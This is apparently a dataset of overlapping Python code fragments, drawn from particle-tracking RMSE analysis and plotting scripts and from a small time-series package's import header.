") dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem,",
"marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$')",
"plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS # fit line popt, pcov =",
"# ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $' + '",
"return_groupby=True) # 1.3 plot binned rmse-z if save_plots or show_plots: # close all",
"= dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty plotting zlim =",
"= 4 # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax =",
"COORDS # SPCT analysis of images used for IDPT calibration path_spct_calib_coords = join(base_dir,",
"---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ FILES method = 'idpt' microns_per_pixel = 0.8",
"color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue,",
"COORDS USED FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats = True param_zf = 'zf_from_peak_int'",
"read SPCT calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus)"
] |
[
"NormalField, ForeignKey # noqa:F401 from .models import TimeSeriesModel # noqa:F401 __version__ = '0.1.3'",
".fields import NormalField, ForeignKey # noqa:F401 from .models import TimeSeriesModel # noqa:F401 __version__",
"import NormalField, ForeignKey # noqa:F401 from .models import TimeSeriesModel # noqa:F401 __version__ =",
"from .fields import NormalField, ForeignKey # noqa:F401 from .models import TimeSeriesModel # noqa:F401"
] |